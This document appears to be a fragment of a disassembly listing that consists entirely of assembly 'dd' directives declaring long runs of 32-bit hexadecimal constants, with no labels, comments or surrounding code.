		dd 4E20CAD2h, 6BE968DCh, 6701857Eh, 0D5F528D5h,	1E7CD6EDh
		dd 1577F88h, 0B0030ABEh, 14122833h, 0DEB23F52h,	249FA1Ah
		dd 7C4743A0h, 5FF8E3A7h, 38DFC5E9h, 45A8965Eh, 3E521E10h
		dd 30A65Fh, 0A760A413h,	0CF68A7h, 31E7811Eh, 0F730D821h
		dd 8AC4D74Bh, 21BCB256h, 40842D3Eh, 0E031B352h,	7238EBC1h
		dd 0E9D205FAh, 2EADB146h, 7D6F61Dh, 8B160E68h, 0B8C8AF7Ch
		dd 49F0880Eh, 0DA9D74C7h, 2ED2D800h, 500075B3h,	7248C4B8h
		dd 0A1C70921h, 44EB28D4h, 5CC8A59Dh, 34922749h,	0E6CFBCC7h
		dd 1FB84C87h, 2918D60Ah, 22012646h, 0FB33BF4h, 0E05482BFh
		dd 5BBA70ECh, 0D55CC7E3h, 513B5AEh, 3C98CDB6h, 32E9121Dh
		dd 0ECACB4B0h, 0B4A7B7BFh, 0F11FD5F7h, 109877F1h, 0F605AA20h
		dd 93EBC0D3h, 0E0B07F3Eh, 0CD0A3402h, 0BF28EE04h, 9D227025h
		dd 0E9259914h, 0DCA58956h, 0EA875925h, 5093B4F9h, 0DA680581h
		dd 73623D65h, 0B41EDD84h, 1A18392Eh, 0C00C02F7h, 6DA12518h
		dd 8834DDAh, 0F2140C45h, 6813485Ah, 658D25B6h, 0AC4193A7h
		dd 0DA453088h, 0E28F1C62h, 899DD906h, 47713452h, 6CC3B193h
		dd 0B2F58F4Ah, 9F54A1F0h, 4899F340h, 3229720h, 77A467A7h
		dd 41DD9F7h, 0D285D187h, 8ED5251h, 0A320404Ch, 6846489Dh
		dd 79BB0B74h, 0E4D8015Fh, 0ABDD2FBDh, 4A79681Fh, 1CBD8047h
		dd 372A4809h, 2731FA29h, 0F41631D4h, 0C0D2AB98h, 56013353h
		dd 73367812h, 703CE5EDh, 406BE650h, 350091CCh, 0F1AFE28Eh
		dd 951C4709h, 0B68B8A10h, 80FF4082h, 52349431h,	5BE810C8h
		dd 967D8D28h, 24C4762Dh, 0F7EC0CFAh, 42FA394Fh,	316C02C1h
		dd 665F1FA4h, 6A331988h, 0E8B050A2h, 1D2599DBh,	5C28D1h
		dd 0EB0AD4BCh, 965EF321h, 0A3E295EEh, 4BB45001h, 2174EB80h
		dd 0D4C3D5B5h, 0CB4BFE58h, 0D6014BB4h, 0E3030616h, 6876A766h
		dd 362CB9B0h, 1D02225Fh, 616E5E69h, 0E104140Ah,	4CFEE0E4h
		dd 668E99B7h, 0F3A4B7BEh, 475F8C21h, 57125844h,	328162FFh
		dd 0C404F329h, 0E3C682DAh, 0E86F74DCh, 3B9F26C0h, 788B2B09h
		dd 0E1046F78h, 12435BF2h, 2904BC0h, 105EC40h, 1EA4728Bh
		dd 442DC801h, 0AF34BE07h, 8476DB0Fh, 971C2A90h,	66DDC819h
		dd 22A30F25h, 7CA17290h, 82514447h, 99F64DEBh, 0BBDF3178h
		dd 32F1337Ah, 0D361A0EDh, 57C8B94Ah, 447BB855h,	705A4AECh
		dd 0B10022F3h, 59CF88AFh, 280773B2h, 0DB2C5BFAh, 0A304D003h
		dd 83CE9B5Ah, 0B4BDFD8h, 0FC1A5877h, 1033F253h,	7E410C68h
		dd 4612975Eh, 548F600h,	4EF76FDAh, 0E940C1D8h, 12707CB9h
		dd 2DA2D521h, 0F5E0458Eh, 4742395Dh, 36E95012h,	6027A05Ch
		dd 90DEEBE7h, 0FE867525h, 2C2CB602h, 0A31E0B51h, 0B059EE32h
		dd 970253Fh, 82B6FED1h,	9B40FB10h, 0B02D2FDCh, 0A80D84A7h
		dd 723C9BBh, 0F710D379h, 6F91D6D1h, 0A04B9CEAh,	7E425889h
		dd 0A5F8DEFEh, 0C458F5CAh, 310D6816h, 0E982FAA6h, 10408C1h
		dd 263366FEh, 0B241BB0Ch, 60BB42Bh, 2947A57Bh, 8801CD3h
		dd 0F09234E9h, 91DBF628h, 9888B930h, 0CF16B353h, 0E384EA12h
		dd 0EBB8108h, 8B982928h, 4E05E430h, 0B24507ABh,	83E20558h
		dd 0BEE1D351h, 0DB7140C2h, 0CD768B09h, 6590C109h, 10D5F685h
		dd 0E2D11D21h, 0D70B5CCDh, 0A73402E3h, 5A280226h, 848D9A57h
		dd 27BFC44Bh, 4871823Dh, 0F125A879h, 0B05C4478h, 92AE989h
		dd 0E10DEACAh, 3B5D6850h, 0C42EDA21h, 89D3E724h, 2D35D85Ch
		dd 0D380CEE9h, 2C31F4BAh, 2FC70848h, 2D916544h,	0F2946DECh
		dd 7EEFE962h, 0AF51273Fh, 0CD2E39EBh, 3B33A201h, 9918BFDCh
		dd 9F690B09h, 54B69746h, 582D246Ah, 56CC583Ah, 0C8B93170h
		dd 22D1310Bh, 61AD4AEh,	4F7D0B3Dh, 0B249098Dh, 0AD07294Bh
		dd 7223D01h, 2EB650Bh, 3A88E917h, 5AA55BF4h, 2560169h
		dd 0FD01399Fh, 1A912F8Bh, 5D024A44h, 218B827Dh,	612576C8h
		dd 7D2353E9h, 0E8726066h, 0B8374A59h, 5B6A20C7h, 0E9F02824h
		dd 0D1BC4325h, 8E47C230h, 6805FE4Ah, 98EC24A1h,	0DD51C7CBh
		dd 2101E984h, 157197D9h, 991D647Bh, 7E4E0111h, 205C0101h
		dd 40A6C348h, 0B1BDAD9Eh, 3E1C94h, 72D0BEA0h, 81020D9Ah
		dd 0E527BBE6h, 6FB18062h, 163F5A4Bh, 0E103E9C1h, 9E9A4312h
		dd 14744A8h, 6359CE2Dh,	0E9D8B0E1h, 4AD458ECh, 0C36855C0h
		dd 5665E14Fh, 26FC5DB5h, 1246532Fh, 5F06FBF2h, 44031805h
		dd 2DD828C4h, 12E91307h, 615C9028h, 0D700F6BCh,	4ABE5649h
		dd 1209544Bh, 3D6F74Eh,	621E9D27h, 5A0BAF8Fh, 0C06A2F85h
		dd 0CDE95CE4h, 0EBD024BFh, 216E4DD9h, 96153784h, 204E76Bh
		dd 47E86C03h, 5EFC10Dh,	1E12420Ch, 0FC06140Ch, 5B9FC81h
		dd 89EB635Eh, 0F500C1FDh, 13F02ECEh, 0A1E85AE9h, 0F5657B0Eh
		dd 0B329C995h, 264D8C00h, 0E14E4FDAh, 10D9A5Dh,	0DD518358h
		dd 0EE4F173Dh, 7E81D802h, 0CA813F96h, 60ED553Ch, 0F8516560h
		dd 0D7507C5h, 724C762Eh, 1941E0C1h, 19163E74h, 0FA05DAF6h
		dd 0CDBB535Fh, 6C3431BCh, 85ACA409h, 7B1236D4h,	844AED3Dh
		dd 205E5A59h, 0B355852h, 52184CE9h, 654D09FBh, 79803EF0h
		dd 0C1A628Bh, 0EEF02976h, 15808A0h, 1722FE68h, 0B7645F1Eh
		dd 0FB0F950Bh, 21668988h, 9D228410h, 28B35D82h,	8A8FC3B9h
		dd 5E528E8Ah, 0BEA9D449h, 0A57332A6h, 75DC9432h, 5A532Eh
		dd 83BB69Dh, 0DE01092Eh, 71422AE9h, 283E7740h, 15FC009Fh
		dd 806B2926h, 0F97E69E0h
		dd 0C10900BFh, 7A5602E2h, 0AD84BFE9h, 555EEFBFh, 0FA10F889h
		dd 58F33926h, 724A231Ch, 0FE870336h, 72B893FDh,	0BD76658h
		dd 7E296058h, 9DAADAAh,	0CE283E70h, 0B2CF0819h,	1FC872E5h
		dd 94354359h, 40F21E79h, 9AE979C4h, 0CD29F4D1h,	0A2F1A444h
		dd 57629D02h, 1E543009h, 0B538E978h, 0BBA29B09h, 640415B2h
		dd 0E6D504ABh, 0AEA18E1h, 311D0747h, 1242DAF7h,	33E1EAC1h
		dd 3806C0C2h, 0D51C457Eh, 5BF9F75Ah, 565201C0h,	822C4FD6h
		dd 74C0D112h, 55D0BF91h, 2FEB0BDAh, 2DD5413h, 6D9B6949h
		dd 2B7FF40h, 5078AF2Eh,	4DA00E16h, 36872768h, 95E5889Bh
		dd 0E931EBE2h, 242629E3h, 0E64C7949h, 0E910EEE2h, 0FFC75D76h
		dd 0E7562C89h, 92B4E958h, 0B35DD253h, 0EF83C40Eh, 0E992D1E8h
		dd 0ED81C0BFh, 0FED64C5Bh, 95F55101h, 0E05E0802h, 897E0A46h
		dd 2E8F7D9Bh, 94B82C1h,	164BF073h, 25DEE09h, 7158F1Ch
		dd 0DA46B6C0h, 6B2D97A8h, 0A10BBD86h, 8B29C0EAh, 0E3310ECFh
		dd 556229E9h, 26665002h, 32408177h, 46F2BB56h, 7249E92Ch
		dd 9B2F9ABAh, 0B791DF0Ah, 0B055036Ch, 9A5A4F78h, 6120B41h
		dd 0B60567DFh, 4231FB3Ah, 2731D388h, 0D94BEC38h, 5F10C325h
		dd 5F795C29h, 306591DBh, 0DE410D78h, 992FAC63h,	0C030A5B5h
		dd 38141AFh, 0A37938C9h, 83E9491Eh, 52660103h, 72ABAC9h
		dd 94D001F9h, 1FFDA85Ah, 838F108Ah, 33AC9FC5h, 0A319ED0Fh
		dd 0E94D782Dh, 5F1E829h, 0E95D0E82h, 485E2BE2h,	920A089Eh
		dd 9BBC8FCCh, 0DA963358h, 80DD587Ch, 25779ABh, 0E6C1527Dh
		dd 0A1C14603h, 0DFFBFCCBh, 300E4BFh, 2871045Ah,	66A12CE8h
		dd 70F6D159h, 0E2AC49B4h, 54A2EF2h, 691B9E2h, 82AA2650h
		dd 0C80E94D5h, 87420228h, 3AB829D4h, 44979A36h,	7B8CCDAh
		dd 7B1D29B6h, 4BE0EDAh,	9EF5AA5h, 685E7781h, 579253F5h
		dd 0BFFDC016h, 6D2676A4h, 78026E12h, 40720B22h,	0A8378DFFh
		dd 104E8A2h, 0D135D8F7h, 6C8BB145h, 0CF810103h,	18F1545Ah
		dd 1F314B70h, 0C259370Bh, 0E7C15EF7h, 2AC7CB61h, 8920660Bh
		dd 0C216F478h, 0F70040CCh, 7AE3C1D3h, 88535B05h, 2D000888h
		dd 221FFCECh, 9848D0F7h, 12E294CEh, 27B2A85Bh, 0BEE6804Bh
		dd 7A9A3124h, 0BDF07318h, 4779BBAh, 0CB44332Ch,	5C14B73Dh
		dd 2031A4FEh, 292B5BDDh, 5EFF02BCh, 6D81BF00h, 0A0295A7Dh
		dd 485B68CCh, 0C0BBAC32h, 0C378B272h, 75E5814Dh, 0C09C63EBh
		dd 6A06FE4Eh, 68E9D912h, 23B20053h, 5C15A19Dh, 133DD446h
		dd 4F302A3h, 0A65B7F5Ch, 0B13D4A0Ch, 1FB5DC28h,	0E54825DFh
		dd 0DC0267F1h, 0CE2115F9h, 0E73C4459h, 40FC37E0h, 1F08A752h
		dd 489DF9Bh, 5DEE9h, 0B3300EBEh, 0D226CE6Eh, 0E93CAFC0h
		dd 61C02A8Ch, 0D15A4DF3h, 5EBEC0Ch, 7C2C6CD8h, 640BBE29h
		dd 647CF606h, 7EA549FFh, 788A1045h, 1416FD2Eh, 5FB3F8A5h
		dd 0B6DA8017h, 0F639806Eh, 78C6B3A8h, 0C82B4F36h, 140BB5ACh
		dd 64512AEh, 980FB2BEh,	0C3E926B1h, 20BB8123h, 2A060F16h
		dd 75016D25h, 8C22D2C3h, 0EBF43FDh, 0C6B1EE0Bh,	34E18E0Ch
		dd 790CFB00h, 0C3881F04h, 0B8807E58h, 9B6B2619h, 0A40FC99Ah
		dd 0B6D90B0Bh, 4DBE153Ch, 9AC33FD7h, 6032C166h,	9F4C8815h
		dd 8D848A3Ah, 7AE613B3h, 3008B100h, 7DE94216h, 0A089254Fh
		dd 0F71DD86Fh, 617DE94Ch, 209068F5h, 0A2FE5988h, 63102912h
		dd 0EBE00294h, 5014FB6h, 122D955Eh, 845EA283h, 8BB2E921h
		dd 0B59542Dh, 0D8E2BC6Ah, 58057E5Bh, 6E952D3Bh,	0D7F781C0h
		dd 0B729FE04h, 4550D2FBh, 0AEE92FFBh, 4E043C0Eh, 5E61F3A0h
		dd 0FC2989DEh, 669554D7h, 0C83132F0h, 4D4159C7h, 0C1FE004Fh
		dd 4D960F6h, 28CDF180h,	0C39BADA3h, 0E98B20C7h,	3B9D4809h
		dd 57B1DA25h, 2CD90809h, 0F6F8C02h, 0D30B7D7Fh,	7789697Ch
		dd 8E0FB1Ch, 9F4A1F71h,	4A029A04h, 804F8FF2h, 7F9F015Bh
		dd 0E1248790h, 68C235B7h, 0EF9ADD13h, 0E9A08157h, 4001BBAh
		dd 692D6821h, 313EB11Fh, 2AD5197Fh, 0CE6B81CCh,	50666BBEh
		dd 0ECBD4560h, 0E9333A03h, 0EF3F0CB2h, 7DCF2E2h, 94315F5Eh
		dd 6C2CAEE3h, 367658F1h, 51FA462Dh, 0CA1DCF5Ah,	0DA96A74Bh
		dd 99E5496Dh, 4BA87210h, 0A013561Eh, 0E1680C4Eh, 5B2A337Ch
		dd 8B591F2Eh, 0A57CA8F8h, 9026AA62h, 242304B3h,	5C1F40h
		dd 675E2533h, 89E8F231h, 0FDE0D55Fh, 3B6B7455h,	0B44C0177h
		dd 71760841h, 2F757D7Eh, 0ADEE2786h, 19F871BAh,	18D82E17h
		dd 2B8AF80h, 824CDDAFh,	73772CA5h, 383B1EC0h, 0E9669A04h
		dd 0D1121127h, 0BC9775h, 0B41C4F09h, 0B2C56F73h, 5B41EED3h
		dd 7B2C44C8h, 266D7E74h, 0BDE735Dh, 797E374Fh, 17476860h
		dd 2AF8D804h, 4E2667D1h, 8CB0F642h, 8A403CBh, 5ECE90Fh
		dd 21C3B81Eh, 0D9521407h, 8B663E1Eh, 8902F967h,	185EF389h
		dd 0DBF75B87h, 7334D482h, 59B508AEh, 0E90A1490h, 0C2D7966Dh
		dd 0A05AE84Fh, 877BC909h, 42B2895Dh, 548DD681h,	0E917879Ah
		dd 4620BCC9h, 1FB0503h,	2D363574h, 314715A2h, 88042A0Fh
		dd 8417F818h, 0D069BEE4h, 2AAEA205h, 0BCE90AE0h, 598469C4h
		dd 7B15D68h, 0BD066EF8h, 0F9F0DB44h, 9427A3B4h,	5B681890h
		dd 36633777h, 13D9D183h, 19D04E3Ch, 0C68DFC93h,	9782EEF5h
		dd 0AEFC4544h, 0FCC3A1A9h, 767B7921h, 2095707Dh, 0CA2297A7h
		dd 0CB810362h, 4CC734B9h, 0FFDD2E02h, 60299326h, 9D055EE7h
		dd 90B53516h, 0A6A9C3A4h, 2058A4A8h, 5A00E6E0h,	0A9166E05h
		dd 0FAC8010Bh, 6310B748h, 861D5CBFh, 0F2C14271h, 83B1187h
		dd 65320C82h, 6A0039EEh, 0BDB37B9Dh, 82F19B88h,	78C8DD2Dh
		dd 295739E2h, 0F7DF8D88h, 9C81E7Bh, 0AB7442F1h,	0A58F7F56h
		dd 0AC57920Ah, 0E04AB455h, 7A44DE5Eh, 51458CAAh, 333FC1F2h
		dd 0D0A15E37h, 32954FCh, 89B85025h, 35F84B64h, 0E40021B6h
		dd 3E8C14Ah, 3A5A590Dh,	3281630Bh, 0F773B722h, 998C3AD0h
		dd 1C2C17BEh, 0EB250967h, 0DD68AC54h, 3A3E1302h, 0BE98FD56h
		dd 0B8A9F6E9h, 37C12F5Eh, 2A23749Fh, 0A384CB69h, 0CCBDE416h
		dd 0E94FFA24h, 7435710Bh, 0C5C1E97Dh, 60824958h, 5296798Ah
		dd 166520Fh, 0DA8836B3h, 1BA440ADh, 4054E3D3h, 4CBCEB8Bh
		dd 0F41002A6h, 38773C72h, 21EEDD17h, 5A6599h, 2D1F31BBh
		dd 53F908D3h, 0B813BE2Ch, 4B537ED1h, 8095540Ch,	0E24C02EAh
		dd 0EF0EB50Fh, 62A10153h, 645CD865h, 0C7B84A06h, 3A295B0Fh
		dd 4BF05253h, 20C041E2h, 1D4A09ADh, 5A2CD54Bh, 0C28121B3h
		dd 497E1428h, 76781933h, 0A80D4A4Bh, 18B04EC1h,	0B2C44F35h
		dd 1F2778A5h, 0C6D69811h, 0D5808195h, 2AE6CC5Bh, 20750CC8h
		dd 0CE3D2094h, 84BFB53Eh, 0EA8825F5h, 52262DA9h, 7A27A7D7h
		dd 0A83901F6h, 0BEC82F1Ah, 68F109F7h, 581A22F4h, 0E3093CD6h
		dd 5F64B292h, 0ABDCF94h, 6886EBEBh, 0EE173738h,	45EFB947h
		dd 4F4CB350h, 55C53BE2h, 0A53857A5h, 0D6027EB1h, 402F4139h
		dd 4C53078Ch, 0CE005852h, 893DE056h, 1F985BDAh,	6A022C03h
		dd 0BC86E923h, 0B40577ABh, 4CD1ADE4h, 375B2C78h, 0E5BB710h
		dd 0D463818Ch, 247455FBh, 3E435F3Dh, 7A508BE3h,	4A6B0E75h
		dd 0B25BCD3h, 3FFAC55Ch, 9D32C726h, 0BB65E80h, 18C831A2h
		dd 0E00001CBh, 2FF12D26h, 50D6836h, 54291041h, 9A07AA48h
		dd 47656231h, 0D543BEC2h, 6801616h, 58481468h, 58BD0DEh
		dd 7BCB2326h, 0DCDEBE01h
		dd 61FE8434h, 0D92A29DDh, 33A62BCBh, 0E710FC43h, 7B5D2491h
		dd 0E98390Dh, 9799A22Ah, 8D333B3h, 0CB20CCBEh, 42B3C604h
		dd 0AA872193h, 4DA90F10h, 2CD172F7h, 274DC1D9h,	0B0BCE059h
		dd 1CF112E1h, 0FC40EE76h, 0CAB688h, 8905F801h, 0D4FFBF22h
		dd 0EA136C27h, 65135F31h, 505C2CA8h, 0D747A9B5h, 51B927C1h
		dd 435B5F02h, 73E5CB1Dh, 89598582h, 562B88C5h, 0B282D5Ah
		dd 5EBC4053h, 0F0EF09BDh, 92F903Bh, 697C3E4Bh, 0EB0CB6C0h
		dd 0CE485176h, 0B3D428D1h, 12B7F22Dh, 0C58F5615h, 68C8471Fh
		dd 2C4763C9h, 39FB4BD1h, 7C4BD410h, 2EDF1C5h, 0FA0D35FBh
		dd 0D8E9F031h, 0E227842Fh, 0D0899F50h, 70A0E815h, 1DB33D24h
		dd 32ECFABBh, 0BE81903Ch, 0E56947F4h, 1DF02C31h, 12FA83DDh
		dd 0D0285901h, 3830FF35h, 9F5BECD8h, 0A17D2FEAh, 0CBA0E90Ch
		dd 0FF4C50B8h, 5279304Eh, 28489B68h, 70B0C070h,	0FA58C288h
		dd 6F6B96E5h, 0CDE9D762h, 7DB9BD48h, 23143412h,	44054FECh
		dd 810BF18h, 0A727EFEEh, 9EA250F7h, 6FFA56BCh, 68214F52h
		dd 6E60BA12h, 902C6A38h, 3CCE0018h, 46715450h, 12C1D6F7h
		dd 0C041532h, 95C4EEFDh, 0E98C0A87h, 89DFD943h,	9E4635F0h
		dd 0AD786E3Eh, 1DEE806Fh, 20E928E2h, 0F4BC2E83h, 2AC23D39h
		dd 0BFBA1Eh, 0A13472F4h, 5A21F83Fh, 16F98A2Ah, 9E25F670h
		dd 8F99161Dh, 9242EF3Fh, 9387A1Bh, 21D43DBh, 20A2960Eh
		dd 0C6402268h, 120E59DFh, 0BFCD29F3h, 6288F5C1h, 8A7F2633h
		dd 39A24BDCh, 448F5F15h, 0B508525h, 5C7FC06Bh, 0C1010CECh
		dd 1107C76Eh, 8358327Fh, 3BE90291h, 5F25FC68h, 78F2DFF8h
		dd 0F23B9DE9h, 5C49FCCAh, 0AE60A500h, 9C98107h,	759D02D3h
		dd 6FD15800h, 4B1C492Ch, 0EF97FB87h, 382D1DACh,	0C0593C85h
		dd 0CE495E85h, 4420017Ch, 0A9989D06h, 20FD03D9h, 4C603CCAh
		dd 2C9EBFE3h, 0B4185E38h, 1A03CE09h, 83710B60h,	0EED612C6h
		dd 10E3BD02h, 58300DDAh, 0C32DAB2Ah, 0DE87150Dh, 0C3040643h
		dd 9558C4E0h, 0B206A52h, 0C049A129h, 0FE56957Ah, 4A939C06h
		dd 2FF17F9Fh, 0EEA1ADD7h, 0E92D4E20h, 0B4D3345Dh, 0E65E217Ah
		dd 24E97698h, 0CF72CC2Dh, 0BDA47525h, 86A55A80h, 566E0821h
		dd 0D35F0E6h, 3D9DE755h, 2E1050DDh, 31AC111Dh, 44534A53h
		dd 7C3AA60Bh, 0F457673Eh, 5306D110h, 846E6868h,	310BC4DAh
		dd 7E201C58h, 0F6AC80D0h, 77591FDDh, 0D9BB0C73h, 0D09F2A3h
		dd 0DC121420h, 0E21C2C25h, 0F1761103h, 0D9E1F763h, 0EB27C733h
		dd 6897604Ah, 669D4CB8h, 0ACC82ED9h, 0B9A142F0h, 384325Ch
		dd 8480110Dh, 4E5C49EFh, 28E20564h, 295BC1BEh, 0CDD220F9h
		dd 2F16D7D3h, 0DBF82A1h, 8D94EB18h, 3E4AEE68h, 311039F2h
		dd 32BD008Eh, 8134FC26h, 55D601C5h, 0EB292C88h,	0D0D3A5Dh
		dd 563003FFh, 99CC1F90h, 25ED016Ch, 80712D6Bh, 39181E0Ch
		dd 9FF6E903h, 0E6C0B502h, 6B3C87DDh, 5268EE30h,	0DAE1F7B2h
		dd 0FC93C2ECh, 0E9F80CCAh, 0FBC1B699h, 304E2BEEh, 0C58D5431h
		dd 68061439h, 984B1A4Ch, 3BA1E30Bh, 101D0254h, 0B9560409h
		dd 0F7E684F1h, 71F5E492h, 5BDE4BB2h, 0D7583D80h, 545FE906h
		dd 1E5B97A1h, 0B9E58851h, 2FCEA62Ah, 83D0D801h,	5827F009h
		dd 8BC1A932h, 9518D83Dh, 0DE4FA0F9h, 819F9D14h,	18127AFCh
		dd 859506Ah, 0CE73E909h, 5C329057h, 88D9BED2h, 8927E067h
		dd 1B4200E9h, 985EB50Ah, 27BF0786h, 0F9011EA5h,	0B081308h
		dd 60208CE9h, 0B01C7825h, 6218074Ah, 5C7FC242h,	0F571F49Eh
		dd 6864203Bh, 0F39C2A90h, 0C7460669h, 3FEF04C1h, 0FBFAAD36h
		dd 3096861Fh, 78D5BB4h,	0D13EE160h, 42F570E8h, 116DE2Dh
		dd 0F7F858C3h, 4CD8BAF4h, 33D9A67h, 0A325BCB9h,	0EADA4946h
		dd 89137854h, 48C1C504h, 512DEBF3h, 5752E8C0h, 5EF4680Bh
		dd 0D2070872h, 8DA11002h, 13DFD6FBh, 6917566Fh,	1E99F3D1h
		dd 82EBBF9Bh, 19D90DABh, 0C704765Bh, 0EB25ECAFh, 8612DB1Dh
		dd 25F4722Fh, 0C3F62322h, 4A555763h, 8E08BC3Fh,	77BD1668h
		dd 52C04991h, 8F40DABAh, 2A0594Ah, 680DA0C2h, 507513CAh
		dd 0D5CF061Ch, 80EC8E99h, 0A7F22AEEh, 5E54E0A8h, 438C504Fh
		dd 0A0C84C89h, 81258749h, 86A51183h, 0DEE5CC5Fh, 5FFE5345h
		dd 8109D2EAh, 20D2F648h, 0FE33EFDAh, 5E850ACAh,	0D0BA8006h
		dd 0E396EEE9h, 892D7625h, 0A190F07Bh, 3E25082Eh, 22D47125h
		dd 127190FAh, 9B7690h, 0C92BA53Dh, 0D19D5B08h, 4FE30474h
		dd 0A41DC64Ah, 9EDDC202h, 6923E9D8h, 0CBF04379h, 32031B85h
		dd 2FF33463h, 0FB2C65EEh, 2608065Fh, 9641207h, 8682021Ch
		dd 0B3185308h, 0B092B79Bh, 977C06D7h, 115762D3h, 7009397Ch
		dd 4A5098A5h, 0B6D675A9h, 20E9214Dh, 1F315188h,	6C411F61h
		dd 1730892Fh, 3E030BF2h, 322FD3DAh, 29E9CF62h, 54BC5F0h
		dd 0C50EEBDh, 5846F8BBh, 40CDE48h, 0C84CD2F7h, 0C675B03h
		dd 6DC05E9h, 7EACC397h,	0EB386226h, 57421A34h, 0DCA97D18h
		dd 59163709h, 5C9FC39Ch, 0B46C14AEh, 4B5108CAh,	0F4385ACFh
		dd 151A365Ch, 8C7F4940h, 0B7510C83h, 7997A1ECh,	0FD816977h
		dd 2E855807h, 0E1DF8FF1h, 0EE9E1C6Ch, 60AD4918h, 47CB150Bh
		dd 3413829Dh, 0E8B9E5C9h, 365AA10Bh, 820897F0h,	57FA475h
		dd 0A0CE1A3h, 0C004D8F6h, 0FE08E003h, 91FF2CC8h, 6AFEE970h
		dd 190E85FEh, 3A89DB44h, 2C035B8h, 3476F381h, 0BAF13C30h
		dd 0EE1115EEh, 36C62AE9h, 0B5F72783h, 0AD179063h, 4CE8F909h
		dd 0F398C383h, 0EEFC1CE3h, 6CA17B90h, 677FEDh, 1924ABE7h
		dd 3EFC16Fh, 4D0506D3h,	0EAB938B0h, 67BB5FD7h, 0BE0FB1C0h
		dd 392DF290h, 0CF3539Bh, 0D03F136Bh, 54A62D03h,	0E955564Ah
		dd 6173499Eh, 6EB5510Fh, 0E11264h, 2740C681h, 21C8166Bh
		dd 959B3F5h, 7E17DA68h,	0BD8062F0h, 41B2D9EBh, 0B1DE9F4Ah
		dd 5A9454E9h, 7B660BB1h, 89E27904h, 5EB8BA00h, 13F4727Ah
		dd 4BC61D0h, 34F729F4h,	660E3ECh, 0C5E94208h, 0F4E15B92h
		dd 91FA8058h, 0CE006CEh, 41849ACFh, 2DB8FF2Bh, 0EA01330Dh
		dd 1F350534h, 3A61392Ah, 0C23057C2h, 46B508D8h,	3268054Fh
		dd 0A03E3C38h, 0B1906BDh, 0D7A4134Fh, 0BF53F310h, 8CEBEF24h
		dd 97E870Eh, 0A9025D2Dh, 0BB013B70h, 3C166E6h, 267D2568h
		dd 532BEBB6h, 1470B7DAh, 289DB109h, 0B5C352C8h,	21BB5B65h
		dd 0C26C1202h, 84775A81h, 6E03C165h, 0E3936F04h, 7684A6B2h
		dd 0FF16FADDh, 5E78902h, 0CDA7E069h, 1DDF52Ch, 1FE1F370h
		dd 646216h, 0E503BF5h, 3A24E90Bh, 0B492F34h, 50E029C0h
		dd 40FAFED3h, 0BF1D664Ch, 0BD26286Fh, 5E5ABB07h, 0E3DF29A2h
		dd 22F7FBB7h, 0E927470Ah, 4A901A2h, 0EE05352h, 1CDD2E5h
		dd 0FC208068h, 0D9D46F76h, 97E9080Fh, 88C079D1h, 8165D12Bh
		dd 400C92B5h, 0E507060Fh, 2FA4CB43h, 93551377h,	5DC6421Ch
		dd 0FF897159h, 0F802D704h, 9171585h, 1F3202B1h,	760E0722h
		dd 9067C278h, 2C01130Eh, 0B25266E3h, 0B28CF4A2h, 0EB62BCF1h
		dd 98101176h, 16E79124h, 2221E710h, 0ABB12589h,	0C83EF952h
		dd 94E86274h, 2CF2528Fh, 2DC70851h, 6F7C628Bh, 4422CF02h
		dd 8B867D7Dh, 0E20443B0h, 17AC2CCAh, 0B850A290h, 0CD6212EBh
		dd 0FE90C615h, 0A4CE4EC4h, 39447227h, 0BCE6115Dh, 9CB8B48h
		dd 796175A4h, 38237E00h, 729A6B65h, 2FFAFEC8h, 0AC81B7CCh
		dd 4A0968FEh, 3A8592D4h
		dd 684F2DEBh, 8F23D71Ah, 0FA12E4CEh, 0C31B5812h, 50C1EB11h
		dd 1D29BF0Bh, 163CAD06h, 5B50E3CBh, 177911D0h, 0E98D3CC9h
		dd 400BA0A4h, 8BB65895h, 29650F6h, 0D88D6B3Dh, 0F68A95FCh
		dd 0EEDC253Fh, 4BE9D370h, 0AE938459h, 0E821CE81h, 5EC08B6Bh
		dd 45EF9CA4h, 2A6CFDA9h, 4B20848Dh, 0B95E9CD5h,	0B8AD024h
		dd 5CC4F7B3h, 0E35E5F79h, 0A12FDC10h, 2F89A22Ch, 0D9721C77h
		dd 0BA153365h, 0B7C0BB64h, 31E905A1h, 18F33AD7h, 0DF316F87h
		dd 0AF9FE41Fh, 0BD25B17Ch, 9F852C0Dh, 1B2FCD4Ch, 0CBDDD728h
		dd 8F614B7Ah, 0CB2A1B34h, 0D72D00C5h, 50D5C69h,	0FD65121Eh
		dd 2A30146Ch, 0D6EA27h,	60E1E909h, 0BC04334Ah, 86B55832h
		dd 6B6FE4B7h, 69740FAEh, 5B31E970h, 547736CEh, 22E85164h
		dd 414B28BBh, 0C66D2848h, 5C0F12C3h, 484ABF9h, 80BB0693h
		dd 0D9213437h, 0A0EAEC1Fh, 92D2BAE9h, 4776C4EEh, 0D7D3EC2Fh
		dd 0F34EFE8Ah, 8F825A30h, 0C085DE52h, 0E84EE95Ah, 0D209D5B1h
		dd 8538EBDFh, 76B87494h, 0E9EF0973h, 8E448BAAh,	19026825h
		dd 0DB565F14h, 0EE292F33h, 0E985CE71h, 11F9AF4Ch, 5B9E053Bh
		dd 0E029D778h, 0FB00BE4Fh, 1338925h, 1D5E3872h,	4B4A315Fh
		dd 0FB7857E9h, 51BF3507h, 61A40340h, 2F6806F0h,	0FDDA65C7h
		dd 65C8D630h, 2CAEB652h, 13E4CE80h, 832CC75Fh, 0C5D8E1E5h
		dd 0E86208C7h, 7AED52F6h, 1A2125B9h, 576E8EF4h,	5FA40181h
		dd 8F3C307Ah, 604F4120h, 14E5AFB0h, 0EFB88E3Ch,	6F649641h
		dd 477726E9h, 1CB9358h,	3C33D68Bh, 5E343019h, 3431352Ch
		dd 0F698F301h, 23FD4Ah,	0C1835B31h, 42AC60E9h, 0BC3CA296h
		dd 446A9233h, 68A371EEh, 0A4656A8Dh, 7B0E6DBAh,	0E44BBA8Bh
		dd 6455440Bh, 0BAA50024h, 0C2247D41h, 78259A3Dh, 29CCBD06h
		dd 0FE87F713h, 1D283B04h, 506A31AEh, 1A8005CCh,	7E646548h
		dd 2EFD5C63h, 0CA50841h, 3C8B40E8h, 973679Dh, 19D7B6AAh
		dd 9C6C49DBh, 3C67F84Fh, 1F1B9421h, 0E6B1C4D3h,	5CB4D698h
		dd 4925794Eh, 2CAE428h,	7E230EBh, 0D2667D01h, 3EC36A70h
		dd 0B2766E82h, 0D52D585Bh, 9712B1h, 375FEBBFh, 47F52DE0h
		dd 0ABC1361h, 7053C28h,	4832A480h, 810BC300h, 457D23CAh
		dd 4DA903Ch, 0EE18E2B8h, 6D4AF2Dh, 51BBDDC2h, 0AD5B4200h
